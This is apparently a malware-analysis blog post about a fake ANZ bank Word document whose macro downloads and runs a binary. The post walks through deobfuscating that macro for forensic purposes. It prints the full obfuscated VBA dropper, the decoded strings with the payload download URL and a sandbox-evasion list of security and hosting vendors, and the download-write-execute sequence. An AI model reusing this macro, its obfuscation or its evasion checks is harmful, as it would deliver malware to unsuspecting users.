Yesterday one of the mail admin’s at work forwarded me a message to take a look at. It was perpetuating to be from ANZ bank, suggesting a payment was due but macro’s should be enabled to view the document. It’s a pretty standard social engineering vector:
Obviously, this isn’t true. However, compared to other documents I’ve sighted recently a fair amount of effort has gone into this one, and there may have been some thought as to what bank the recipient may use. The other campaigns just seemed to indiscriminately select a bank – even one who didn’t operate in the location of the target. The document, as could be expected, has a macro attached to it that’s used to pull down malware from the internet. Heavy use of CallByName in conjunction with obfuscated strings and the banking vector would suggest it could be used to distribute Dridex, however there’s any possibility it could also be Locky. Unfortunately, by the time I had deobfuscated the contents of the macro the binary looks to have been removed from it’s host (I’ve put the feelers out on Twitter to see if anyone did) – but the process of deciphering the script to obtain the location for possible future incidents is still worth looking at.
To begin with I ran the document through my local Cuckoo sandbox, only to see a call out to MaxMind – nothing overly concerning… but with a couple of AV hits I felt there was more to the document than what there appeared to be. I used olevba to extract the macro from the document and attempt to deobfuscate it, but to no avail. This still left me with the raw script, as follows:
Public Sub Document_Close() On Error GoTo bDWGE MmzLzRj Exit Sub bDWGE: End Sub Public Sub MmzLzRj() Dim IXavl As String Dim ewNsHQ As String Set eFGgBi = CallByName(ThisDocument, s(15, "oincAaptpil", 68), 2) If CallByName(eFGgBi, s(28, "NresUema", 47), 2) = s(74, "BUPSPSW", 34) Then ReMbQDO (s(86, "drBsm naeeua", 53)) If CallByName(CallByName(eFGgBi, s(64, "iteeslFncRe", 115), 2), s(51, "oCtnu", 54), 2) = 400 Then ReMbQDO (s(187, "cIdC t eno dstaPraleas'", 37)) IXavl = CallByName(myBYc, s(121, "eRtxeTesnops", 107), 2) For Each KOfXrP In cNZSLEL If InStr(LCase(IXavl), LCase(KOfXrP)) 0 Then ReMbQDO (s(50, "P BSd:Ia", 61) & KOfXrP) Next CallByName myBYc, s(14, "epOn", 11), 1, s(13, "EGT", 11), s(86, "ot/etperparcaech/tu/a/.:mpotct.hgnniibk.g6n1iencaieflfc", 328), False CallByName myBYc, s(138, "eesqtratuRSdHeee", 165), 1, s(27, "egA-resUtn", 29), s(260, "b0srM e0Ndzc nlmSi./aaEd;.5i1wT)0l. io(;;TeioMW6tlpIn16/t o 0.", 419) CallByName myBYc, s(29, "eSdn", 27), 1 If CallByName(myBYc, s(57, "tatSsu", 65), 2) >= 400 Then ReMbQDO (s(228, "fnaoniadw'lr nteybl C ioda", 135)) Set NKJPLQ = CallByName(onxsDlv(s(33, "reilpltW.SSch", 67)), s(108, "nnnrmtvoeEi", 81), 2, s(61, "SECORPS", 41)) ewNsHQ = NKJPLQ(s(42, "METP", 15)) & CallByName(eFGgBi, s(79, "ePrhopaaSratt", 44), 2) & s(92, "67pmtpmt.79", 76) Set kKsxcK = onxsDlv(s(18, "S.BDODAmaert", 47)) CallByName kKsxcK, s(38, "pyTe", 11), 4, 1 CallByName kKsxcK, s(14, "epOn", 11), 1 CallByName kKsxcK, gqCurk, 1, CallByName(myBYc, rZYmG, 2) aqPBLYZ CallByName(kKsxcK, s(48, "TaloveFeSi", 73), 1, ewNsHQ, 2) aqPBLYZ CallByName(kKsxcK, s(21, "lCeso", 9), 1) aqPBLYZ CallByName(onxsDlv(s(33, "reilpltW.SSch", 67)), s(29, "xEce", 35), 1, ewNsHQ) End Sub Public Function gqCurk() As String gqCurk = s(13, "ertWi", 28) End Function Public Function rZYmG() As String rZYmG = s(125, "eBpdnResooys", 127) End Function Public Sub aqPBLYZ(ByVal sSrShgY) End Sub Public Function cNZSLEL() cNZSLEL = irDSq(Array(s(50, "AMANOZ", 59), s(80, "MNOOUNSYA", 38), s(80, "DTIBREDNEFE", 98), s(17, "TAOC EULB", 80), s(116, "MTY CISESSOSC", 136), _ s(47, "REVRES", 65), s(61, "OC OSILHTNTEONEGRSG", 63), s(57, "O TMRIECNRD", 13), s(30, "SWVTUTAER", 14), s(92, "RNHEATMCRAIO ", 36), _ s(41, "EYEERIF", 69), s(13, "TOCFIEONPR", 103), s(41, "NFTEOITR", 43), s(37, "ZEHTNRE", 39), s(9, "TSOHDE", 35), s(8, "SHNTOGI", 73), _ s(46, "ABEEESLW", 61), s(80, "SIOCFRTOM", 47), s(19, "FNECRO", 11), s(47, "SHAVSO ", 54), s(35, "POTOOPIFRN", 63), s(77, "YRETUSIC", 37), _ s(23, "DLUCO", 43), s(120, "NARETECAT D", 41), s(47, "RTEEACTDAN", 67), s(102, "NADTCARETE", 73), s(25, "AIEDTCDDE", 13), s(91, "TEP,SO ELS", 33), _ s(79, "KPRAAMELOOTBKCUSC", 47), s(71, "ESICTMAM", 83), s(12, "DCTNIOEMRR", 67))) End Function Public Sub ReMbQDO(ByVal neDGqCu As String) Err.Raise Number:=3, Description:=neDGqCu End Sub Public Function s(ByVal sqLlcOv As Integer, ByVal acFoUi As String, ByVal oFjDZs As Integer) As String On Error Resume Next ReMbQDO acFoUi s = XWrbhlC(sqLlcOv, Err.Description, oFjDZs) End Function Public Function XWrbhlC(ByVal sqLlcOv As Integer, ByVal acFoUi As String, ByVal oFjDZs As Integer) As String Dim svcRPz As Integer svcRPz = svzALG(sqLlcOv, Len(acFoUi)) Do While Len(XWrbhlC) < Len(acFoUi) XWrbhlC = XWrbhlC & AqahQo(acFoUi, svcRPz) svcRPz = svzALG((svcRPz + oFjDZs), Len(acFoUi)) Loop End Function Public Function onxsDlv(ByVal YpNHGuF As String) Set onxsDlv = RXtRwED(CreateObject(YpNHGuF, "")) End Function Public Function RXtRwED(ByVal TIGGsNp As Object) Set RXtRwED = TIGGsNp End Function Public Function AqahQo(ByVal jVEtyNX As String, ByVal svcRPz As Integer) As String AqahQo = Right(irDSq(Left(jVEtyNX, svcRPz + 1)), 1) End Function Public Function svzALG(ByVal zkOwqg As Integer, ByVal VBbeFnj As Integer) As Integer svzALG = zkOwqg - (VBbeFnj * (zkOwqg \ VBbeFnj)) End Function Public Function irDSq(ByVal AUCQT) irDSq = AUCQT End Function
This isn’t your standard obfuscation which is perhaps why olevba failed to make more sense of it.
Looking at the script as a whole, it appears that ‘myBYc’ is being invoked as a function in a number of places. It is also defined near the top of the main sub as:
Set myBYc = onxsDlv(s(70, “sHtttt.tp5pR..e1WqWiuinenH”, 81))
The function ‘onxsDlv’ creates an object of the type inputted to the function as a string. So, whatever the result of the ‘s’ deobfuscation function is will be the type of object created. There are also two other objects: ‘kKsxcK’ and ‘NKJPLQ’.
Stepping back through the code, stripping out any unnecessarily separated functions (i.e. all of them) and doing a bit of simple find and replace to stitch everything together nets the following and is what is used to deobfuscate the strings:
Sub Main() MsgBox s(##, "abc", ##) End Sub Public Function s(ByVal i1 As Integer, ByVal obf As String, ByVal i2 As Integer) As String Dim i3 As Integer On Error Resume Next Err.Raise Number:=3, Description:=obf obfErr = Err.Description i3 = i1 - (Len(obfErr) * (i1 \ Len(obfErr))) Do While Len(s) < Len(obfErr) s = s & Right(Left(obfErr, i3 + 1), 1) i3 = (i3 + i2) - (Len(obfErr) * ((i3 + i2) \ Len(obfErr))) Loop End Function
Slimmed down like this, it’s pretty clear exactly how the obfuscation operates. There’s no fancy encryption – simply XOR.
However, for the above to make sense of the original script you’d need to pull out each call to the ‘s’ function, and this would be incredibly time consuming and tedious. So, a quick and dirty Python script can be used to crawl through the script and use regex to automate the task of extracting these calls – writing out VBScript that can be pasted into the ‘Main’ sub of the above script to deobfuscate all strings in the script:
#!/usr/bin/python import os import re fileName = 'D:\\analysis\\vba.txt' outFile = 'D:\\analysis\\decoding.txt' regex = re.compile('s\([0-9]+, "[^"]+", [0-9]+\)') def flag_last(seq): seq = iter(seq) a = next(seq) for b in seq: yield a, False a = b yield a, True output =  with open(fileName) as f: lines = f.readlines() for line in lines: matches = regex.findall(line) if matches: command = 'Selection.TypeText ' for match,is_last in flag_last(matches): command += match if not is_last: command += ' + " " + ' else: command += '\n' output.append(command) output.append('Selection.TypeText(Chr(11))\n') for line in output: with open(outFile, "a") as f: f.write(line)
The output will be written to the document in which the macro is made.
This is what was outputted when the combined script was run:
Application UserName PSPUBWS Bad username RecentFiles Count Bad history WinHttp.WinHttpRequest.5.1 Open GET https://www.maxmind.com/geoip/v2.1/city/me SetRequestHeader Referer https://www.maxmind.com/en/locate-my-ip-address SetRequestHeader User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Send Status Can't locate IP address ResponseText Bad ISP: Open GET http://thecarpetcleaningking.com.au/carpet/office16.bin SetRequestHeader User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Send Status Can't download binary file WScript.Shell Environment PROCESS TEMP PathSeparator tmp7697.tmp ADODB.Stream Type Open SaveToFile Close WScript.Shell Exec Write ResponseBody AMAZON ANONYMOUS BITDEFENDER BLUE COAT CISCO SYSTEMS SERVER STRONG TECHNOLOGIES TREND MICRO TRUSTWAVE NORTH AMERICA FIREEYE FORCEPOINT FORTINET HETZNER HOSTED HOSTING LEASEWEB MICROSOFT NFORCE OVH SAS PROOFPOINT SECURITY CLOUD DATA CENTER DATACENTER DATACENTRE DEDICATED ESET, SPOL BLACKOAKCOMPUTERS MIMECAST TRENDMICRO
Piecing this all together, the script can be seen to do the following:
- Create a WinHTTP object.
- Call out to MaxMind and find the victim ISP.
- If the request returns a 400 status code, exit.
- If the response contains a ‘bad’ keyword (ISP), exit.
- Pull down the malicious binary.
- If the request returns a 400 status code, exit.
- Create a WScript.Shell object.
- Use the shell to define an output location.
- Create an ADODB.Stream object.
- Write the downloaded binary to disk.
- Execute the binary.
Remind me again why people enable the running of unsigned macro’s?
Whilst the exact method used to deobfuscate the script demonstrated here isn’t exactly applicable to every situation, the overall approach certainly is. For the script to work it must somehow unpack itself – just like also seen in my post ‘Held to Ransom‘. By working backwards, starting with the obfuscated data and stepping through the call stack, you can begin to piece together a means of unpacking it yourself – allowing you to make better sense of what the script is attempting to do, and giving you actionable intelligence… even if it’s (unfortunately) for post-mortem forensics.